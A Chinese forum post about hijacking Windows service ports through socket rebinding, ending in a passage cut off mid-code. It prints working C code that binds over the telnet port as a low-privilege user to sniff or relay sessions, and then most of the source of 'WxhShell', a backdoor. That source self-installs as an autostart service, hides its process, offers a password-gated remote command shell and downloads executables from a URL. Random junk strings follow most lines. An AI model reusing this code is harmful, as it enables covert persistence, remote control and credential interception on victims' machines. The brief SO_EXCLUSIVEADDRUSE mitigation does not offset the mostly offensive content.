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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &</ @0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tZ*f~yW  
q=j/s4~  
  saddr.sin_family = AF_INET; SWe!9Y$  
7,&3=R <  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o i,g  
'/ ]fZ|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4)c"@Zf  
0t/z "  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #o}{cXX#  
XO8 H]  
  这意味着什么?意味着可以进行如下的攻击: l[x`*+ON:2  
1^Y:XJ73  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,vHX>)M|  
yA`]%U((  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [1[[$ Dr  
<_FF~lj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JsoWaD  
f;qKrw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hVQ+ J!qD  
ttJ:[ R'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -* -zU#2|  
ix_$Ok  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LRLhS<9  
uDMUy"8&!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z; z'`A  
FC/>L  
  #include "KQ\F0/  
  #include o*5e14W(:  
  #include R}K5'`[%ZY  
  #include    a 7mKshY(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E l8.D3  
  int main() P^d . ,  
  { lk *QV  
  WORD wVersionRequested; +{l3#Y  
  DWORD ret; z|4@nqqX  
  WSADATA wsaData; >GF(.:7  
  BOOL val; tz \:r>3vI  
  SOCKADDR_IN saddr; z 2EI"'4\9  
  SOCKADDR_IN scaddr; c]/O^/  
  int err; 5{x[EXE'  
  SOCKET s;  +T8XX@#  
  SOCKET sc; #Z3I%bkw H  
  int caddsize; 9zM4D  
  HANDLE mt; k)4lX|}Vm  
  DWORD tid;   ";!1(xZr  
  wVersionRequested = MAKEWORD( 2, 2 ); hG0lR.:  
  err = WSAStartup( wVersionRequested, &wsaData ); 4OESsN$O  
  if ( err != 0 ) { ]|\>O5eeu  
  printf("error!WSAStartup failed!\n"); ct4)faM  
  return -1; /%@RO^P  
  } @ #O|  
  saddr.sin_family = AF_INET; & ,gryBN  
   nR|uAw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (>@syF%PB  
vp}>#&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]t!}D6p  
  saddr.sin_port = htons(23); '| Q*~Lh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2K7:gd8Ru  
  { }5c'ui!3H  
  printf("error!socket failed!\n"); CSg5i&A=  
  return -1; =dw*B  
  } GlkAJe]  
  val = TRUE; gT\y&   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QH? 2v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -*{(#k$  
  { JqV<A3i  
  printf("error!setsockopt failed!\n"); n;T  
  return -1; JbD)}(G;  
  } ;>x1)|n5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6W#F Ss~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mDt",#g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /JY ph^3][  
$S-;M0G x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FYE9&{]h  
  { UC2 OY Zb  
  ret=GetLastError(); p 7E{es|J  
  printf("error!bind failed!\n"); Mm[1Z;H  
  return -1; >IydXmTy  
  } ng)yCa_Ny  
  listen(s,2); x6cl(J}  
  while(1) VH1c)FI  
  { Ta5iY }  
  caddsize = sizeof(scaddr); LCm}v&~%A  
  //接受连接请求 Tee3U%Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n7YWc5:CaL  
  if(sc!=INVALID_SOCKET) IHX#BY>  
  { G5@fqh6ws  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /P:WQ*  
  if(mt==NULL) Ku\#Wj|YrP  
  { 9%'HB\A  
  printf("Thread Creat Failed!\n"); }[R@HmN   
  break; t;PnjCD<`  
  } o_+Qer=O6  
  } H" g&  
  CloseHandle(mt); G Z[5m[  
  } x/q$RcDOm  
  closesocket(s); jc.Uh9Kc  
  WSACleanup(); H;8]GE2n  
  return 0; ^RDXX+  
  }   42[:s:  
  DWORD WINAPI ClientThread(LPVOID lpParam) -Ce4px?3  
  { @z?.P;f9#  
  SOCKET ss = (SOCKET)lpParam; @x>2|`65Y  
  SOCKET sc; c15^<6]g  
  unsigned char buf[4096]; ialk6i![  
  SOCKADDR_IN saddr; V \ 8 5  
  long num; %cif0Td  
  DWORD val; &!aLOx*3`  
  DWORD ret; 0r&9AnnWu+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YU"\Wd[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u5|e9(J  
  saddr.sin_family = AF_INET; ^i k|l=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4sgwQ$m)  
  saddr.sin_port = htons(23); u:kY4T+Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kEDZqUD  
  { L|'ME| '  
  printf("error!socket failed!\n"); 9&FV =}MO  
  return -1; ,TA [el%#  
  } j`pR;XL1[  
  val = 100; i*E`<9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ee?ZkU#@  
  { %*; 8m'  
  ret = GetLastError(); c|a|z}(/J  
  return -1; `lOoT  
  } L#N.pd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KPcuGJ  
  { r6_a%A*  
  ret = GetLastError(); =_:L wmI  
  return -1; 6M|%nBN$|  
  } c<x6_H6[8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HcUz2Rm5XP  
  { c324@o^V  
  printf("error!socket connect failed!\n"); D6:J*F&?  
  closesocket(sc); a<36`#N  
  closesocket(ss); 2= mD  
  return -1; VO6y9X"  
  } NUtyUv  
  while(1) F<WX\q  
  { HwK "qq-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }}Uv0g8D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]V("^.~$+C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m?`Rl6!@8\  
  num = recv(ss,buf,4096,0); 8{<cqYCR  
  if(num>0) c'qM$KN9G  
  send(sc,buf,num,0); /RmCMT  
  else if(num==0) ]YzAcB.R  
  break; 7y7y<`)I5  
  num = recv(sc,buf,4096,0); MF(~!SOIG  
  if(num>0) KYW1<Wcp  
  send(ss,buf,num,0); 8PS:yBkA|  
  else if(num==0) }O{"qs#)  
  break; t"Hrn3w  
  } g_X7@Dt  
  closesocket(ss); .).<L`q  
  closesocket(sc); #^V"=RbD  
  return 0 ; }('' |z#UE  
  } \ChcJth@o<  
Y'h'8 \  
0/]vmDr  
========================================================== ".ZiR7Z:$Y  
uoHhp4>^  
下边附上一个代码,,WXhSHELL vsR ^aVwVZ  
YPEd XU8}  
========================================================== U:e9Vq'N m  
b2%[9) "I.  
#include "stdafx.h" h`j gF  
/XB1U[b  
#include <stdio.h> 0^z$COCv  
#include <string.h> uy{KV"%"^g  
#include <windows.h> 1hG O*cq!  
#include <winsock2.h> BI]t}7  
#include <winsvc.h> WG{/I/bJ_  
#include <urlmon.h> d`/{0:F  
9@B+$~:}7  
#pragma comment (lib, "Ws2_32.lib") 2[hl^f^%,  
#pragma comment (lib, "urlmon.lib") OpE+e4~IF  
(?[cDw/{J:  
#define MAX_USER   100 // 最大客户端连接数 '3->G/Pu  
#define BUF_SOCK   200 // sock buffer KA#-X2U/  
#define KEY_BUFF   255 // 输入 buffer Hkt'~ L*   
]0le=Ee^%  
#define REBOOT     0   // 重启 +s}28U!  
#define SHUTDOWN   1   // 关机 E>D@#I>  
ZZ5yu* &  
#define DEF_PORT   5000 // 监听端口 78-:hk  
quYZD6IH  
#define REG_LEN     16   // 注册表键长度 s#[Ej&2[=  
#define SVC_LEN     80   // NT服务名长度 '*; rm*n  
~s_$a8  
// 从dll定义API ^B9wmxe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |9 3%,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wP9C\W;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '=@x2`U/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NU[{oI<a  
BoqW;SG$9  
// wxhshell配置信息 r%9Sx:F  
struct WSCFG { @Q!j7I  
  int ws_port;         // 监听端口 :u0433z:  
  char ws_passstr[REG_LEN]; // 口令 =I1@O9}+i  
  int ws_autoins;       // 安装标记, 1=yes 0=no jp]JF h;3  
  char ws_regname[REG_LEN]; // 注册表键名 AtOB'=ph*  
  char ws_svcname[REG_LEN]; // 服务名 ez>@'yhK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RT>3\qhZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t;'.D @  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _HQa3wj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KWo)}m*6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dp"w=~53  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .Yx. Lm}  
s@|?N+z  
}; ceCshxTU  
%XeU4yg\e  
// default Wxhshell configuration .YkKIei  
struct WSCFG wscfg={DEF_PORT, 5 \J;EWTU  
    "xuhuanlingzhe", oSoG&4  
    1, K\q/JuDfc  
    "Wxhshell", 4hs4W,2!  
    "Wxhshell", SccU @3.X~  
            "WxhShell Service", |7-tUHMo[  
    "Wrsky Windows CmdShell Service", HNPr| (  
    "Please Input Your Password: ", AVjtK  
  1, o v~m?Y]h  
  "http://www.wrsky.com/wxhshell.exe", wSK?mS6  
  "Wxhshell.exe" wkGF&U  
    }; ?8 F7BS4oQ  
Yq_zlxd%F  
// 消息定义模块 ;ORy&H aKl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {~"=6iyj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oCrn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P,wJ@8lv  
char *msg_ws_ext="\n\rExit."; 0)NHjKP  
char *msg_ws_end="\n\rQuit."; l?q^j;{Dw  
char *msg_ws_boot="\n\rReboot..."; P dJ*'@~i  
char *msg_ws_poff="\n\rShutdown..."; ^:#%TCJ  
char *msg_ws_down="\n\rSave to "; K*<n<;W  
9=SZL~#CE  
char *msg_ws_err="\n\rErr!"; [xC (t]S-  
char *msg_ws_ok="\n\rOK!"; L{ -w9(S`i  
<5q}j-Q  
char ExeFile[MAX_PATH]; PD?H5W3@  
int nUser = 0; lV?SvXe  
HANDLE handles[MAX_USER]; lFcCWy  
int OsIsNt; KlPH.R3MPO  
jc<3\ 7  
SERVICE_STATUS       serviceStatus; weOMYJO;8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {e^llfj$#  
/dqKFxB1  
// 函数声明 |F<aw?%  
int Install(void); ec=C7M |  
int Uninstall(void); I2 dt#  
int DownloadFile(char *sURL, SOCKET wsh);  ,Y!)V  
int Boot(int flag); Fi#t88+1  
void HideProc(void); 7qk61YBL z  
int GetOsVer(void); ?9mY #_Of  
int Wxhshell(SOCKET wsl); ~$$V=$&  
void TalkWithClient(void *cs); !m;VWGl*  
int CmdShell(SOCKET sock); p,+~dn;=  
int StartFromService(void); K6X1a7  
int StartWxhshell(LPSTR lpCmdLine); ,y.0 Cb0  
vcmS]$}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b6lL8KOu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sDiYm}W  
.UcS4JU  
// 数据结构和表定义 y+PukHY  
SERVICE_TABLE_ENTRY DispatchTable[] = p d6d(  
{ ,-b9:]{L  
{wscfg.ws_svcname, NTServiceMain}, "`S61m_  
{NULL, NULL} bk<3oI  
}; ivm.ng[  
A9#2.5  
// 自我安装 t*x;{{jL#(  
int Install(void) %(E6ADB  
{ +[F8>9o&  
  char svExeFile[MAX_PATH]; s{/nO)  
  HKEY key; {^qc`oF  
  strcpy(svExeFile,ExeFile); L*Y}pO  
=[WccF  
// 如果是win9x系统,修改注册表设为自启动 gUMUh] j  
if(!OsIsNt) { 25(\'484>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nRGH58  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^vPa{+N  
  RegCloseKey(key); f6XWA_[i@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uO6_lOT9n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S8y4 p0mV  
  RegCloseKey(key); im' 0^  
  return 0; Ov9.qNT  
    } ,[~EThcq  
  } l^_X?L@  
} g41LpplX  
else { f,1rmX1  
5Z:HCp-aG  
// 如果是NT以上系统,安装为系统服务 >|s=l`"Xz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j@DyWm/7  
if (schSCManager!=0) @sDd:> t  
{ jK{MU) D+  
  SC_HANDLE schService = CreateService !xvPG  
  ( ':,LZ A8A  
  schSCManager, wFvilF V  
  wscfg.ws_svcname, +k>v^sz  
  wscfg.ws_svcdisp, SXT/9FteZ  
  SERVICE_ALL_ACCESS, N 8OPeY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UY+~xzm  
  SERVICE_AUTO_START, /b*@dy  
  SERVICE_ERROR_NORMAL, kC+A7k6  
  svExeFile, X;1q1X)K  
  NULL, ;2iZX=P`n  
  NULL, TnG"_VK9R  
  NULL, IV *}w"r  
  NULL, p+t8*lkq  
  NULL {T IGPK  
  ); i~2>kxf;K1  
  if (schService!=0) t@Jo ?0s  
  { ``SjALf  
  CloseServiceHandle(schService); 7Ctm({I-  
  CloseServiceHandle(schSCManager); E,rPM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )#Id 2b~  
  strcat(svExeFile,wscfg.ws_svcname); UJZa1p@L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h{m]n!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pM=vW{"I/  
  RegCloseKey(key); 2::T,Z  
  return 0; @iaN@`5I6s  
    } N>~*Jp2;  
  } fSTEZH  
  CloseServiceHandle(schSCManager); nuQ"\ G  
} KDhHp^IXQ  
} =19]a  
"P|G^*"~2  
return 1; 1#@'U90xf  
}  }QI*Ns  
`A'*x]l  
// 自我卸载 X#o:-FKf  
int Uninstall(void) &K4o8Qz  
{ vhg4E80Kr  
  HKEY key; /Iskjcc60W  
i.< }X  
if(!OsIsNt) { '%MIG88  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { brFOQU?  
  RegDeleteValue(key,wscfg.ws_regname); 6!'yU=Z`  
  RegCloseKey(key); :eO]65N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }}]Y mf  
  RegDeleteValue(key,wscfg.ws_regname); F-X>| oK>z  
  RegCloseKey(key); & #|vGhA  
  return 0; 7#&s G  
  } 4qMHVPJv\  
} ge` J>2  
} ZN?(lt)u9  
else { vQ h'C.  
qM`SN4C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZTun{Dw{  
if (schSCManager!=0) qg|+BIi Uz  
{ :Cuae?O,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t_N `e(V  
  if (schService!=0) g(`6cY[}  
  { i^> RjR  
  if(DeleteService(schService)!=0) { *qqFIp^  
  CloseServiceHandle(schService); NubD2  
  CloseServiceHandle(schSCManager);  :DD4BY  
  return 0; [L275]4n!]  
  } $ p0s  
  CloseServiceHandle(schService); p?`N<ykF<  
  } ,Q:dAe[ZsX  
  CloseServiceHandle(schSCManager); _#+9)*A  
} .{} t[U  
} lC2xl(#!  
OU##A:gI  
return 1; nYe}d!  
} |EApKxaKD  
A~6 Cs  
// 从指定url下载文件 F,W(H@ ~x  
int DownloadFile(char *sURL, SOCKET wsh) H^s SHj  
{ \uaJw\EZ  
  HRESULT hr; lN&GfPP6  
char seps[]= "/"; zEGwQp<  
char *token; gV7o eZ5  
char *file; q8D1MEBL`  
char myURL[MAX_PATH]; [brrziZ  
char myFILE[MAX_PATH]; @!S$gTz  
 ^ "f  
strcpy(myURL,sURL); f]lDJ?+ M  
  token=strtok(myURL,seps); i6-K!  
  while(token!=NULL) #=tWCxf=  
  { Z\Q7#dl  
    file=token; c1/x,1LnMf  
  token=strtok(NULL,seps); uqnZ  
  } 0eLK9u3<  
^\I$tnY`  
GetCurrentDirectory(MAX_PATH,myFILE); %{{#Q]]&  
strcat(myFILE, "\\"); UOu&sg*o2B  
strcat(myFILE, file); 4{R`  
  send(wsh,myFILE,strlen(myFILE),0); n5 i}J/Sa2  
send(wsh,"...",3,0); k8ck#%#}Wu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0 QpWt  
  if(hr==S_OK) u2eq VrY  
return 0; \Q$);:=q Q  
else gXQ)\MY  
return 1; . FruI#99  
o]Ki+ U  
} V OX>Sl  
@|@43}M]C-  
// 系统电源模块 t|q=NK/  
int Boot(int flag) }>w; +XU  
{ d?K8Ygz  
  HANDLE hToken; 26**tB<  
  TOKEN_PRIVILEGES tkp; &td#m"wI  
EAfSbK3z  
  if(OsIsNt) { u|ZO"t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3LmHH =  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oMPQkj;  
    tkp.PrivilegeCount = 1; Px8E~X<@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BCbW;w8aI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /[s$A?  
if(flag==REBOOT) { u"%fz8v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )\(pDn$W  
  return 0; G$j8I~E@  
} twn@~$  
else { tFwlx3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *}J_STM  
  return 0; w&{J9'~  
} _=] FJhO  
  } cMg /T.O  
  else { q mB@kbt  
if(flag==REBOOT) { nAzr!$qbNv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) liTr3T`,V  
  return 0; I?"5i8E  
} 9V&LJhDQ  
else { N9Ml&*%oX{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [h1{{Nb#ez  
  return 0; ?]z ._I`E  
} 9 2EMDKJ  
} -&? -  
/p>[$`Aq  
return 1; OK 6}9Eu9  
} pr"flRQr#  
0TpA3K  
// win9x进程隐藏模块 8`2K=`]ES+  
void HideProc(void) ;W].j%]L e  
{ k-U/x"Pl  
NEk [0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =FnZkJ  
  if ( hKernel != NULL ) Jj " {r{  
  { #t O!3=0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pz 'Hqvd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?<;<#JN  
    FreeLibrary(hKernel); .tNB07=7  
  } *v+ fkg  
zYL^e @  
return; +[ zo2lBx  
} To`?<]8  
gm DC,"Y<  
// 获取操作系统版本 wu')Q/v  
int GetOsVer(void) d%hA~E1rR  
{ m 5Kx}H~  
  OSVERSIONINFO winfo; Mx"tUoU6z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #7=LI\  
  GetVersionEx(&winfo); St`m52V(5X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E`|qFG<  
  return 1; r . ^&%D  
  else A3_9MO   
  return 0; e?>suIB  
} qZh~Ay6I  
[_d*J/X  
// 客户端句柄模块 GN0'-z6Uy  
int Wxhshell(SOCKET wsl) 5b,98Q  
{ '_)t R;s  
  SOCKET wsh; c &HoS  
  struct sockaddr_in client; &UR/Txnu  
  DWORD myID; U:r2hqegd  
 6qlr+f  
  while(nUser<MAX_USER) 6K}=K?3Z  
{ @ni~ij  
  int nSize=sizeof(client); Mk[`HEO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DF2&j!  
  if(wsh==INVALID_SOCKET) return 1; *q{UipZbx  
qS al~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x3 |'jmg  
if(handles[nUser]==0) 0 ,-b %X  
  closesocket(wsh); 7g9^Jn  
else `'WLGQG  
  nUser++; e% 6{P  
  } WKsx|a]U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kqw? X{  
R:?vY!  
  return 0; %SCu29km  
} g/p }r.  
h>0<@UP  
// 关闭 socket 8 -A7  
void CloseIt(SOCKET wsh) >N-%  
{ gH3kX<e  
closesocket(wsh); VhgEG(Ud  
nUser--; Xf9%A2 iB  
ExitThread(0); Ir #V2]$  
} )7g_v*  
N1~$ +  
// 客户端请求句柄 nD\os[ 3  
void TalkWithClient(void *cs) \*aLyyy3  
{ _9|@nUD  
 <z2mNq  
  SOCKET wsh=(SOCKET)cs; |wQZ~Ux:  
  char pwd[SVC_LEN]; y$o=\:  
  char cmd[KEY_BUFF]; n5*7~K "C  
char chr[1]; I?Fa  
int i,j; -i5g 8t'  
v qMk)htIz  
  while (nUser < MAX_USER) { sA-W^*+  
@n* D>g  
if(wscfg.ws_passstr) { &\|<3sd(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LoE(W|nj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Cu?$  
  //ZeroMemory(pwd,KEY_BUFF); e-3pg?M  
      i=0; O&iYGREO  
  while(i<SVC_LEN) { GD{fXhgk  
E :=KH\2f  
  // 设置超时 AO$PuzlLh  
  fd_set FdRead; Juqn X  
  struct timeval TimeOut; ~PW}sN6ppG  
  FD_ZERO(&FdRead); iCRw}[[  
  FD_SET(wsh,&FdRead); '8kjTf#g<l  
  TimeOut.tv_sec=8; Sx9:$"3.X  
  TimeOut.tv_usec=0; I{e^,oc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vr;Br-8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w })Pedg  
xWz;5=7a]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *jw$d8q2  
  pwd=chr[0]; $1zeY6O  
  if(chr[0]==0xd || chr[0]==0xa) { 'O2#1SWe  
  pwd=0; Q;ZHx.ye{  
  break; tW"ptU^9)  
  } f\_!N "HW  
  i++; 8~(+[[TQ@  
    } 76Vyhf&7  
2vdQ&H4  
  // 如果是非法用户,关闭 socket -s%-*K+,W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3J~kiy.nfW  
} e$+f~~K  
*R\/#Y|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \.;ct  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yb{{ z@  
l3?,gd.-  
while(1) { <Z:8~:@  
JRjMt-7H_  
  ZeroMemory(cmd,KEY_BUFF); hf+/kc!>i  
MRg\FR 2>1  
      // 自动支持客户端 telnet标准   N' $DE  
  j=0; m7wc)"`t  
  while(j<KEY_BUFF) { a;'E}b{`F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UG"6RW @  
  cmd[j]=chr[0]; !E {GcK  
  if(chr[0]==0xa || chr[0]==0xd) { YUVc9PV)Ws  
  cmd[j]=0; J={OOj  
  break; E7NbPNd  
  } yEpN,A  
  j++; B==a  
    } $dZ>bXUw:  
| 2.e0Z]k  
  // 下载文件 L>~@9a\jO  
  if(strstr(cmd,"http://")) { 2Z;`#{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); > 0Twr  
  if(DownloadFile(cmd,wsh)) FJd8s*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tf7v5iGe  
  else 3$$5Mk(&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "wF ?Hamz  
  } Ck3QrfM  
  else { UR/qVO?  
.YjrV+om1  
    switch(cmd[0]) { xOV A1p b,  
  uhTKCR~  
  // 帮助 iz9\D*or  
  case '?': { Z[})40[M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z{`6#  
    break; @[5_C?2  
  } S_|9j{w)  
  // 安装 2;%#C!TG;  
  case 'i': {  `CA G8D  
    if(Install()) y|e2j&m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rb *C-NutE  
    else rw5#e.~V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JtYYT/PB  
    break; J@ktj(  
    } /63 W\  
  // 卸载 pcRF: ~TE  
  case 'r': { pYLY;qkG"  
    if(Uninstall()) .K|P&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+pg^en  
    else %z-dM` i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } g3HoFC  
    break; d7W%zg\T  
    } ;OQ'B=uK  
  // 显示 wxhshell 所在路径 hF7V !*5  
  case 'p': { G}=`VYK  
    char svExeFile[MAX_PATH]; CdBthOPX)  
    strcpy(svExeFile,"\n\r"); *Nv y+V  
      strcat(svExeFile,ExeFile); k_*XJ<S!Y  
        send(wsh,svExeFile,strlen(svExeFile),0); CF3E]dt  
    break; lFiq<3Nk  
    }  /,1SE(  
  // 重启 hi;WFyJTu  
  case 'b': { wUZQB1$F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |`_ <@b  
    if(Boot(REBOOT)) lnC !g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ee&nU(pK  
    else { ]PR|d\O  
    closesocket(wsh); 0M#N=%31  
    ExitThread(0); QO5OnYh  
    } S}zC3  
    break; Y)'!'J  
    } (oLpnjJ(,  
  // 关机 ojN`#%X  
  case 'd': { =gW"#ZjL){  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YH ETI~'j.  
